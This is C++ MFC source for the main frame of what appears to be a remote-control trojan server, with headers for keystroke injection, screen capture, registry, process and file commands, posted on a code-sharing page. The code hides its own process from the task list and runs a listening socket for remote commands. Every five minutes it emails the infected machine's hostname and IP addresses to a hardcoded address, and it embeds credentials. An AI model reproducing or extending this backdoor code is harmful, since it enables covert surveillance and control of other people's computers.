📄 mainfrm.cpp
字号:
// MainFrm.cpp : implementation of the CMainFrame class
//
#include "jpeglib\\basic.H"
#include "stdafx.h"
#include "Ctrl_Srvr9.h"
#include "Def_Cmd_ID.h"
#include "MainFrm.h"
#include "winbase.h"
#include <wchar.h>
#include <winbase.h>
#include <winuser.h>
#include <string.h>
#include "SendKey.H"
#include "GetScreenToBitmap.h"
#include "Cmd_fn.H"
#include "JpegFile.H"
#include "SendKey.H"
#include ".\\Bo_Files\\Pushkey.h"
#include ".\\Bo_Files\\key.h"
#include ".\\Bo_Files\\Func_Bo.h"
#include ".\\Bo_Files\\Cmd_System.h"
#include ".\\Bo_Files\\NetShare.h"
#include ".\\Bo_Files\\Cmd_Process.h"
#include ".\\Bo_Files\\Cmd_File.h"
#include ".\\Bo_Files\\Cmd_Registry.h"
#include ".\\Bo_Files\\Cmd_GetScreen.h"
#include ".\\Bo_Files\\Cmd_Mouse.h"
#include "WSocket.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
extern CCtrl_SrvrApp theApp;
void CALLBACK Listen(SOCKET s, int ServerPort, const char *ClientIP);
/////////////////////////////////////////////////////////////////////////////
// CMainFrame
IMPLEMENT_DYNAMIC(CMainFrame, CMDIFrameWnd)
BEGIN_MESSAGE_MAP(CMainFrame, CMDIFrameWnd)
//{{AFX_MSG_MAP(CMainFrame)
ON_WM_CREATE()
ON_WM_TIMER()
//}}AFX_MSG_MAP
ON_MESSAGE (WM_HOTKEY, OnHotKey)
END_MESSAGE_MAP()
static UINT indicators[] =
{
ID_SEPARATOR, // status line indicator
ID_INDICATOR_CAPS,
ID_INDICATOR_NUM,
ID_INDICATOR_SCRL,
};
/////////////////////////////////////////////////////////////////////////////
// CMainFrame construction/destruction
CMainFrame::CMainFrame()
{
// TODO: add member initialization code here
m_pChildWnd = NULL;
/*
char * strRegText[8] = {"ZICTJADM",
"TRUE",
"zictjm.com",
"junyuan.liang@zictjm.com",
"junyuan.liang@zictjm.com",
"<<NULL>>",
"ljy",
"ljy123"};
*/
m_strPassword = _T("123456");
m_strBody = _T("<<NULL>>");
m_strFrom = _T("junyuan.liang@zictjm.com");
m_strServer = _T("zictjm.com");
m_strSubject = _T("");
m_strTo = _T("junyuan.liang@zictjm.com");
m_strPW = _T("TRUE");
m_strUser = _T("ljy");
m_bServer = FALSE;
m_bAutoMail = TRUE;
// m_lpBmpData = NULL;
// m_hBmpData = NULL;
// m_pSocket = NULL;
m_lpSend = NULL;
m_bSendStringMsg = TRUE;
for (int i = 0; i < 10; i++)
m_strOldHostIP[i] = _T("");
}
CMainFrame::~CMainFrame()
{
}
int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
if (CMDIFrameWnd::OnCreate(lpCreateStruct) == -1)
return -1;
if (!m_wndToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP
| CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||
!m_wndToolBar.LoadToolBar(IDR_MAINFRAME))
{
TRACE0("Failed to create toolbar\n");
return -1; // fail to create
}
if (!m_wndStatusBar.Create(this) ||
!m_wndStatusBar.SetIndicators(indicators,
sizeof(indicators)/sizeof(UINT)))
{
TRACE0("Failed to create status bar\n");
return -1; // fail to create
}
// TODO: Delete these three lines if you don't want the toolbar to
// be dockable
m_wndToolBar.EnableDocking(CBRS_ALIGN_ANY);
EnableDocking(CBRS_ALIGN_ANY);
DockControlBar(&m_wndToolBar);
m_pChildWnd = new CChildFrame;
if (!m_pChildWnd->Create(_T("Child"),
WS_CHILD | WS_VISIBLE | WS_OVERLAPPEDWINDOW | WS_MAXIMIZE,
rectDefault, this))
return -1;
//设置热键
BOOL bRC = RegisterHotKey (m_hWnd,1011,MOD_CONTROL | MOD_ALT,'p');
bRC = RegisterHotKey (m_hWnd,1012,MOD_CONTROL | MOD_ALT,'P');
//取系统设置
GetRegConfig(); //Get config
//启动E-mail
if (m_bAutoMail == TRUE){ //Setup Email
SendEmail();
SetTimer(WM_SENDEMAIL,300000, NULL);
}
//启动监听
if(m_wskServer.CreateServer(SOCKET_PORT, SOMAXCONN))
{
m_bServer = m_wskServer.StartServer(Listen);
}
#if defined(_DEBUG)
if(!m_bServer)
{
CString info;
info.Format("启动服务失败:%d", m_wskServer.err);
AfxMessageBox(info);
}
#endif
//隐藏程序
#if !defined(_DEBUG)
HideProc(true);
#endif
return 0;
}
BOOL CMainFrame::PreCreateWindow(CREATESTRUCT& cs)
{
if( !CMDIFrameWnd::PreCreateWindow(cs) )
return FALSE;
// TODO: Modify the Window class or styles here by modifying
// the CREATESTRUCT cs
return TRUE;
}
/////////////////////////////////////////////////////////////////////////////
// CMainFrame diagnostics
#ifdef _DEBUG
void CMainFrame::AssertValid() const
{
CMDIFrameWnd::AssertValid();
}
void CMainFrame::Dump(CDumpContext& dc) const
{
CMDIFrameWnd::Dump(dc);
}
#endif //_DEBUG
/////////////////////////////////////////////////////////////////////////////
// CMainFrame message handlers
LRESULT CMainFrame::OnHotKey (WPARAM wParam, LPARAM lParam)
{
if (wParam == 1011 || wParam == 1012)
{
if (IsWindowVisible ())
ShowWindow (SW_HIDE);
else
{
ShowWindow (SW_SHOW);
SetForegroundWindow ();
}
}
return (FALSE);
}
BOOL CMainFrame::DestroyWindow()
{
// TODO: Add your specialized code here and/or call the base class
UnregisterHotKey (m_hWnd,1011);
UnregisterHotKey (m_hWnd,1012);
CString temp;
if (temp.LoadString(IDS_SERVERSHUTDOWN))
m_strState = temp;
m_bServer = !m_wskServer.StopServer();
#ifdef _DEBUG
if(m_bServer)
{
CString info;
info.Format("停止服务失败:%d", m_wskServer.err);
AfxMessageBox(info);
}
#endif
KillDynamicLibraries ();
KillTimer(WM_SENDEMAIL);
return CMDIFrameWnd::DestroyWindow();
}
void CMainFrame::Msg_Display(CString strMsg)
{
m_pChildWnd->m_strMsgList.AddTail (strMsg);
}
void CMainFrame::SendStringMsg(CString strMsg)
{
if (m_lpSend == NULL) return;
SENDMSG tagSendMsg;
CString info;
LPCTSTR lpText;
// int nLen;
//Step 1: send struct
if (strMsg.GetLength() <= 0) return;
memset((char *)&tagSendMsg, 0, sizeof(SENDMSG));
tagSendMsg.wCmd = CMD_STATE_INFO;
tagSendMsg.dwFileSize = strMsg.GetLength();
if (m_lpSend->SendData((char *)&tagSendMsg, sizeof(SENDMSG), 60) < 0)
goto Err01;
//Step 2: confirm
/* memset((char *)&tagSendMsg, 0,sizeof(SENDMSG));
if (ReadSafe(m_lpSend, (char *)&tagSendMsg, sizeof(SENDMSG)) < 0)
goto ErrorSendString002;
if (tagSendMsg.iErrorCode < 0 ) return ;
*/
//Step 3: send msg
//memset((char *)&tagSendMsg, 0, sizeof(SENDMSG));
lpText = (LPCTSTR)strMsg;
if (m_lpSend->SendData(lpText, strMsg.GetLength(), 60) < 0)
goto Err01;
//Step 4: confirm
/* memset((char *)&tagSendMsg, 0,sizeof(SENDMSG));
if (ReadSafe(m_lpSend, (char *)&tagSendMsg, sizeof(SENDMSG)) < 0)
goto Err01;
*/
return ;
Err01:
m_lpSend->Close();
m_lpSend = NULL;
info.Format("断开 socket=0x%X, Error in send CMD_STATE_INFO", *m_lpSend);
Msg_Display(info);
}
void CMainFrame::MsgBox(CString strMsg)
{
AfxBeginThread(ThreadMsgBox,(LPVOID)(LPCTSTR)strMsg);
}
UINT CMainFrame::ThreadMsgBox(LPVOID pParam)
{
AfxMessageBox((LPCTSTR)pParam);
return 1;
}
LPSTR CMainFrame::GetIPAddr()
{
char svBuffer[MAX_COMPUTERNAME_LENGTH];
DWORD dwBufSize;
LPHOSTENT lpHostEnt;
LPSTR szIPAddr;
dwBufSize = MAX_COMPUTERNAME_LENGTH+1;
if(!GetComputerName(svBuffer, &dwBufSize))
return NULL;
lpHostEnt = gethostbyname(svBuffer);
szIPAddr = inet_ntoa(*(LPIN_ADDR) * (lpHostEnt->h_addr_list));
return szIPAddr;
}
void CMainFrame::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
// if (nIDEvent == WM_SENDEMAIL && m_strEMailEnabled == "ENABLE")
if (nIDEvent == WM_SENDEMAIL)
{
if (SendEmail() == TRUE)
{
KillTimer(WM_SENDEMAIL);
SetTimer(WM_SENDEMAIL,300000, NULL);
}
}//Ontime
CMDIFrameWnd::OnTimer(nIDEvent);
}
void CMainFrame::GetRegConfig()
{
char * strRegName[8] = {"Password",
"EmailEnabled",
"EmailServer",
"EmailTo",
"EmailFrom",
"EmailText",
"EmailUser",
"EmailPW"};
HKEY hKey = HKEY_CURRENT_CONFIG;
HKEY hSubKey;
long lRC;
char svBuffer[256];
DWORD dwSize;
CString strAutoEmail;
lRC = RegOpenKeyEx(hKey, "PeSrvr", 0,
KEY_READ | KEY_WRITE, &hSubKey) ;
if (lRC != ERROR_SUCCESS) return;
for (int i = 0 ; i < 8 ; i++)
{
dwSize = 256;
if (RegQueryValueEx(hSubKey, strRegName[i], NULL, NULL,
(BYTE *)svBuffer, &dwSize) == ERROR_SUCCESS)
{
switch(i)
{
case 0: m_strPassword = svBuffer;
break;
case 1: strAutoEmail = _T("TRUE");
if(strAutoEmail != svBuffer) m_bAutoMail = FALSE;
break;
case 2: m_strServer = svBuffer;
break;
case 3: m_strTo = svBuffer;
break;
case 4: m_strFrom = svBuffer;
break;
case 5: m_strBody = svBuffer;
break;
case 6: m_strUser = svBuffer;
break;
case 7: //m_strPW = svBuffer;
m_strPW = _T("123456");
break;
}//end switch
}//end if
}//end for
RegCloseKey(hSubKey);
}
//隐藏程式
typedef DWORD (WINAPI* SERVICEPROC)(DWORD, DWORD);
BOOL WINAPI CMainFrame::HideProc(int mode)
{
HMODULE DLLInst=LoadLibrary("KERNEL32.DLL");
if(DLLInst == NULL) return FALSE;
SERVICEPROC RegisterServiceProcess;
RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD))GetProcAddress(DLLInst,"RegisterServiceProcess");
if(RegisterServiceProcess)
{
RegisterServiceProcess(GetCurrentProcessId(),(DWORD)mode);
FreeLibrary(DLLInst);
return TRUE;
}
FreeLibrary(DLLInst);
return FALSE;
}
BOOL CMainFrame::SendEmail()
{
if (m_bAutoMail == FALSE) return TRUE;
char szHostName[128];
const char* pszAddr;
struct hostent * pHost;
int i,j;
CString strSaveIP[10];
CString strIP;
BOOL bFound;
//取计算机名称
if(gethostname(szHostName, 128) != 0 ) return FALSE;
strIP = szHostName;
pHost = gethostbyname(szHostName);
//比较所有IP
for( i = 0; i < 10 && pHost!= NULL &&
pHost->h_addr_list[i]!= NULL; i++ )
{ //对每一个IP地址进行处理
pszAddr=inet_ntoa (*(struct in_addr *)pHost->h_addr_list[i]);
strSaveIP[i] = pszAddr;
strIP = strIP + "//" + pszAddr;
bFound = TRUE;
for (j = 0; j < 10; j++)
{
if (m_strOldHostIP[j] == pszAddr)
bFound = FALSE;
}//end for
}//end for
//发送新的IP地址
if (bFound == TRUE)
{
for (i = 0; i < 10 ; i++)
m_strOldHostIP[i] = strSaveIP[i];
CSMTP smtp(m_strServer);
CMailMessage msg;
msg.m_sFrom = m_strFrom;
msg.AddMultipleRecipients(m_strTo);
msg.m_sSubject = "V2-IP: "+ strIP;
msg.m_sBody = m_strBody;
smtp.m_sUser = m_strUser;
if (smtp.Connect() == TRUE) //Send & Save
{
if (smtp.SendMessage(&msg))
{
smtp.Disconnect();
Msg_Display(msg.m_sSubject); //Show OK
return TRUE;
}//end if
smtp.Disconnect();
}//end if
Msg_Display(smtp.GetLastError()); //Show Error
}//end if
// }//Had hostname
return FALSE;
}
inline int ReadSafe(CWSocket *lpWSK, char * lpData, int nSize)
{
/* int nLen, nRet;
nLen=nSize;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -